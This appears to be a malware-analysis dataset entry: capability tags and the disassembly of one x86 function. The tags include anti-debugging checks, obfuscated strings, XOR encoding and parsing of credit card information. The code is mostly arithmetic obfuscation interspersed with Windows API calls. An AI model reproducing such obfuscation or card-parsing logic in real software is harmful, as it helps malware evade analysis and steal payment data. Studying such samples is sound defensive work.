Function at 0x4d7e60
Capabilities:
Accept command line arguments
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get file system object information
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x225c
call fcn.0050e000
push esi
mov dword [ebp - 0x728], 0x49931600
mov eax, 0x19a
mov word [ebp - 0x864], ax
mov dword [ebp - 0xf0c], 0x46184bf0
push 0
push 0
push 0
lea ecx, [ebp - 0xf00]
call fcn.0050dfa0
mov ecx, 0x20a
mov word [ebp - 0x1c30], cx
mov edx, 0x8c9
mov word [ebp - 0x1e18], dx
mov byte [ebp - 0x12e], 0xca
mov byte [ebp - 0x12d], 0xfe
mov eax, 0x471
mov word [ebp - 0x4bc], ax
mov ecx, 0xa22
mov word [ebp - 0xecc], cx
mov dword [ebp - 0x704], 0x75c36a8d
mov dword [ebp - 0x5c8], 0xc65e7471
mov byte [ebp - 0x5bd], 0xba
mov byte [ebp - 0x1dd5], 0x44
mov dword [ebp - 0x1c00], 0x1fa9e123
mov dword [ebp - 0x1f20], 0xba1fac30
mov byte [ebp - 0x265], 0xc5
mov dword [ebp - 0x1bf4], 0x62181cb5
mov dword [ebp - 0xb38], 0x75590d22
mov dword [ebp - 0xd4], 0x566871f2
mov edx, 0x860
mov word [ebp - 0x1da0], dx
mov dword [ebp - 0x58c], 0x40d85a35
mov byte [ebp - 0x13bd], 0x67
mov dword [ebp - 0x800], 0x8d2ca874
mov dword [ebp - 0x6d4], 0x7883ed02
mov eax, 0x57
mov word [ebp - 0x1d9c], ax
mov ecx, 0x4999
mov word [ebp - 0xe88], cx
mov byte [ebp - 0x1d86], 0x32
mov byte [ebp - 0x1ba5], 0xf8
mov byte [ebp - 0x1d85], 0xa8
mov dword [ebp - 0x1d20], 0x45264e1
mov dword [ebp - 0x1d08], 0xf47fe169
mov byte [ebp - 0x7cd], 0x8a
mov dword [ebp - 0x694], 0x287306ce
mov edx, 0xd46
mov word [ebp - 0x36c], dx
push 0
push 0
push 0
lea ecx, [ebp - 0x68c]
call fcn.0050dfa0
mov byte [ebp - 0x11c2], 0x76
mov dword [ebp - 0x1b68], 0x737cd5ec
mov dword [ebp - 0x1b60], 0xa9e7b241
mov eax, 0xa5
mov word [ebp - 0x68], ax
mov dword [ebp - 0xca0], 0x44d4ff04
mov dword [ebp - 0xfb8], 0x140428b6
mov dword [ebp - 0x44], 0xb68f13c0
mov byte [ebp - 0x1b15], 0x92
mov ecx, 0xd5
mov word [ebp - 0x1350], cx
mov byte [ebp - 0x35], 0x23
mov byte [ebp - 0x185], 0xe6
mov dword [ebp - 0xf40], 0xf08a61ae
mov dword [ebp - 0x1168], 0x17e75156
mov edx, 0x98
mov word [ebp - 0x778], dx
mov dword [ebp - 0x770], 0xcaca6c48
mov dword [ebp - 0x620], 0x830e1414
mov dword [ebp - 0xc20], 0x110a7361
mov dword [ebp - 0x1c90], 0xf7148f76
mov dword [ebp - 0x898], 0x27e92b34
mov dword [ebp - 0x1c84], 0x6d8838b4
mov byte [ebp - 0xdcd], 0xd5
mov dword [ebp - 0x734], 0x57881c66
mov eax, 0x56e
mov word [ebp - 0xf18], ax
mov ecx, 0xea6
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
mov dword [ebp - 0x1f98], edx
cmp dword [ebp - 0x1f98], 0xea6
je 0x4d812b
cmp dword [ebp - 0x1f98], 0x2dc1
je 0x4d80e4
jmp 0x4d81fd
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x1f9c], eax
cmp dword [ebp - 0x1f9c], 0xc2c
je 0x4d8112
cmp dword [ebp - 0x1f9c], 0xc37
je 0x4d810b
jmp 0x4d8126
call fcn.0046d040
jmp 0x4d8126
movsx ecx, word [ebp - 0x8d4]
sub ecx, 0x4748
mov word [ebp - 0x8d4], cx
jmp 0x4d81fd
movsx edx, word [ebp - 0x8d4]
cmp edx, 0x3e06
jne 0x4d81d7
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x1fa0], eax
cmp dword [ebp - 0x1fa0], 0x40da
je 0x4d81c2
cmp dword [ebp - 0x1fa0], 0x7a15
je 0x4d8165
jmp 0x4d81d5
lea ecx, [ebp - 0xf2c]
push ecx
lea edx, [ebp - 0xf2c]
push edx
call dword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [ebp - 0xf2c], eax
call fcn.004d7e60
push 0
mov eax, dword [ebp - 0x1df8]
push eax
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
movsx ecx, word [ebp - 0x8d4]
and ecx, 0xd15
mov word [ebp - 0x8d4], cx
call fcn.004d7e60
movsx edx, word [ebp - 0x8d4]
or edx, 0x3928
mov word [ebp - 0x8d4], dx
jmp 0x4d81d5
lea eax, [ebp - 0xa3c]
push eax
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x32c], eax
jmp 0x4d81fd
movsx ecx, word [ebp - 0x8d4]
add ecx, 0x1f49
cmp ecx, 0x75a4
jle 0x4d81fd
movsx edx, word [ebp - 0x8d4]
shl edx, 3
mov word [ebp - 0x8d4], dx
mov dword [ebp - 0x2a4], 0x4964
mov dword [ebp - 0x1714], 0x262d
mov dword [ebp - 0xee8], 0xa7cd
mov dword [ebp - 0xdfc], 0x9146
mov dword [ebp - 0x7b0], 0x54fa
cmp dword [ebp - 0x1714], 0x40ec
ja 0x4d846b
movsx eax, word [ebp - 0x8d4]
xor eax, 0x3068
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
sar ecx, 2
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x3c42
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
add eax, 0x10
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
and ecx, 0x18ce
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x1714]
add edx, 0xa7
mov dword [ebp - 0x1714], edx
movsx eax, word [ebp - 0x8d4]
add eax, 0x4a37
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
sub ecx, 0x1cdf
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x72fd
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
add eax, 0x2284
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
or ecx, 0x1fc
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
shl edx, 7
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
xor eax, 0x1e84
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
sar ecx, 7
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
and edx, 0xde3
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
add eax, 0x763a
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
sub ecx, 0x4be5
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
add edx, 0x15ea
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
sub eax, 0x9f3
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
and ecx, 0x41d7
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x4d06
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
add eax, 0x4acc
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
add ecx, 0x44c9
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x4ca8
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
sar eax, 7
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
xor ecx, 0x20e5
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
shl edx, 1
mov word [ebp - 0x8d4], dx
movsx eax, word [ebp - 0x8d4]
or eax, 0x719c
mov word [ebp - 0x8d4], ax
movsx ecx, word [ebp - 0x8d4]
and ecx, 0x6574
mov word [ebp - 0x8d4], cx
jmp 0x4d822f
mov edx, dword [ebp - 0x1d08]
add edx, 0x9adcc8d
mov dword [ebp - 0x1d08], edx
mov dword [ebp - 0x1b30], 0x5f2d
cmp dword [ebp - 0xee8], 0xbd6f
jae 0x4d866a
mov eax, dword [ebp - 0x1d08]
add eax, 0x3d888456
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
sub ecx, 0x36dc6a7e
mov dword [ebp - 0x1d08], ecx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x2014
mov word [ebp - 0x8d4], dx
mov eax, dword [ebp - 0x1d08]
add eax, 0x511605ad
mov dword [ebp - 0x1d08], eax
movsx ecx, word [ebp - 0x8d4]
and ecx, 0x2752
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x1d08]
sub edx, 0xd52df25
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x12ced6b4
mov dword [ebp - 0x1d08], eax
movsx ecx, word [ebp - 0x8d4]
sub ecx, 0xd7e
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0xee8]
add edx, 0x4e
mov dword [ebp - 0xee8], edx
movsx eax, word [ebp - 0x8d4]
xor eax, 0x4023
mov word [ebp - 0x8d4], ax
mov ecx, dword [ebp - 0x1d08]
or ecx, 0x60c391f
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x1d08]
shr edx, 0x10
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
shl eax, 0x1a
mov dword [ebp - 0x1d08], eax
movsx ecx, word [ebp - 0x8d4]
and ecx, 0x61ff
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
sub edx, 0x5c5e
mov word [ebp - 0x8d4], dx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x69605bfb
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
sub ecx, 0x659db7eb
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x1d08]
add edx, 0x7310e2fb
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x6cb569e6
mov dword [ebp - 0x1d08], eax
movsx ecx, word [ebp - 0x8d4]
sub ecx, 0x7e1c
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x1d08]
and edx, 0x4005b848
mov dword [ebp - 0x1d08], edx
movsx eax, word [ebp - 0x8d4]
add eax, 0xcf0
mov word [ebp - 0x8d4], ax
mov ecx, dword [ebp - 0x1d08]
or ecx, 0x968ece98
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x1d08]
shr edx, 0x1a
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
shl eax, 5
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
xor ecx, 0xd15d04d3
mov dword [ebp - 0x1d08], ecx
jmp 0x4d8487
lea edx, [ebp - 0x1d08]
mov dword [ebp - 0x870], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
add eax, 0x1f5e56e1
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d08]
sub edx, 0x73daf1a0
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
movsx ecx, word [ebp - 0x8d4]
and ecx, 0x1c86
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1d08]
shr eax, cl
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
or eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
shl eax, 0xb
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
xor edx, 0x9ba41df8
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x6c35a05d
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, 0x50e1d833
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
and edx, 0x752cab29
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
sub ecx, 0x2f1d332c
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x1d08]
sub edx, 0x36742ac1
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, 0xdc14720
mov dword [ebp - 0x1d08], edx
movsx eax, word [ebp - 0x8d4]
sub eax, 0x3fbc
mov word [ebp - 0x8d4], ax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, 0x4a93b671
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, 0x5c254fc8
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, 0x12dddcd8
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
add ecx, 0x6b2e57a0
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1d08]
shl edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
shr edx, 6
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
and eax, 0x6db02f6b
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, 0x1b7421e8
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
and ecx, 0x57198a1c
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
add eax, 0x68b2b401
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d08]
add edx, 0x774e7ac3
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7b0]
add ecx, 0xf0
mov dword [ebp - 0x7b0], ecx
mov edx, dword [ebp - 0x1d08]
shl edx, 0xd
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
shr edx, 1
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
or ecx, 0x634dd061
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x1d08]
xor edx, 0x5d69cae7
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d08]
and ecx, 0xbe7a6b7e
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, 0x42f52b2d
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, 0x7445844d
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
add edx, 0x544ef2aa
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
movsx eax, word [ebp - 0x8d4]
and eax, 0x6809
mov word [ebp - 0x8d4], ax
mov ecx, dword [ebp - 0x1d08]
sub ecx, 0x377334a5
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
cmp dword [ebp - 0x7b0], 0x68aa
jbe 0x4d8676
cmp dword [ebp - 0x2a4], 0x45e0
jb 0x4d8dd9
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
add eax, 0x5da3dfc5
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
xor eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
shr eax, 0x17
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
or edx, 0xa594f0ee
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
shl ecx, 0xe
mov dword [ebp - 0x1d08], ecx
movsx edx, word [ebp - 0x8d4]
and edx, 0x6066
mov word [ebp - 0x8d4], dx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x8bd7ab4
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, 0x1f8836ca
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d08]
sub ecx, 0x7f5601a1
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
movsx eax, word [ebp - 0x8d4]
add eax, 0x4494
mov word [ebp - 0x8d4], ax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, 0x3e913ab3
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x6fa789c2
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
shl eax, 0xa
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
xor edx, 0x7a9ca32e
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
shr ecx, 0x17
mov dword [ebp - 0x1d08], ecx
movsx edx, word [ebp - 0x8d4]
or edx, 0x78c6
mov word [ebp - 0x8d4], dx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
add eax, 0x28532890
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d08]
sub edx, 0x3a1c2fbb
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, 0x7cc4f5ae
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x2a4]
sub eax, 0x32
mov dword [ebp - 0x2a4], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, 0x26fd92e5
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1d08]
and eax, 0x1878cd10
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
or eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
shr eax, 8
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1d08]
shl edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d08]
xor ecx, 0x5af16ceb
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
and ecx, 0xfba9228f
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, 0x7c37298f
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
add ecx, 0x39fc2445
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
movsx eax, word [ebp - 0x8d4]
sub eax, 0x1fd
mov word [ebp - 0x8d4], ax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
add edx, 0x8ace74d
mov dword [ebp - 0x1d08], edx
jmp 0x4d8a7b
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x1fa4], eax
cmp dword [ebp - 0x1fa4], 0xfffffad9
je 0x4d8df7
jmp 0x4ef63e
cmp dword [ebp - 0x1b30], 0x72ff
jae 0x4d9022
mov ecx, dword [ebp - 0x1b30]
add ecx, 0x56
mov dword [ebp - 0x1b30], ecx
mov edx, dword [ebp - 0x1d08]
sub edx, 0x734a57c3
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d08]
sub ecx, 0x2eb27651
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, 0x5208ab73
mov dword [ebp - 0x1d08], ecx
mov edx, dword [ebp - 0x1d08]
add edx, 0x4c063c74
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d08]
add ecx, 0x2291013c
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x22c9dcf3
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, 0x2fffd4ff
mov dword [ebp - 0x1d08], eax
movsx ecx, word [ebp - 0x8d4]
add ecx, 0x6e42
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x1d08]
shl edx, 0xa
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
movsx ecx, word [ebp - 0x8d4]
or ecx, 0x3721
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
xor eax, 0x27f04736
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1d08]
shr ecx, 0x10
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x13bc0a59
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d08]
and edx, 0x6268b58a
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d08]
add ecx, 0x4c0ea342
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1d08]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
sub eax, 0x12bb7bab
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
or eax, 0xa894c514
mov dword [ebp - 0x1d08], eax
movsx ecx, word [ebp - 0x8d4]
sar ecx, 0xf
mov word [ebp - 0x8d4], cx
movsx edx, word [ebp - 0x8d4]
xor edx, 0x384c
mov word [ebp - 0x8d4], dx
jmp 0x4d8df7
lea eax, [ebp - 0x8d4]
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0x73c], 0x14ee
movsx ecx, word [ebp - 0x8d4]
mov dword [ebp - 0x1fa8], ecx
cmp dword [ebp - 0x1fa8], 0x79aa
je 0x4d9053
jmp 0x4d90b8
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0xaf0]
movsx eax, word [edx]
and eax, 0x688d
mov word [ebp - 0x8d4], ax
call fcn.004d7e60
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
lea ecx, [ebp - 0xf2c]
push ecx
mov edx, dword [ebp - 0x1f10]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0xbc0], eax
jmp 0x4ef583
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
mov dword [ebp - 0x1fac], ecx
cmp dword [ebp - 0x1fac], 0xa894c514
je 0x4d90d7
jmp 0x4d919a
movsx edx, word [ebp - 0x8d4]
mov dword [ebp - 0x1fb0], edx
cmp dword [ebp - 0x1fb0], 0x201
je 0x4d9105
cmp dword [ebp - 0x1fb0], 0x384c
je 0x4d9181
jmp 0x4d9198
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
sub ecx, 0x1e3a
mov word [ebp - 0x8d4], cx
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
add eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
lea edx, [ebp - 0xa3c]
push edx
lea eax, [ebp - 0xf2c]
push eax
push str.charity
lea ecx, [ebp - 0x8d4]
push ecx
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x1d4], eax
mov edx, dword [ebp - 0x870]
mov eax, dword [edx]
sub eax, dword [ebp - 0x214]
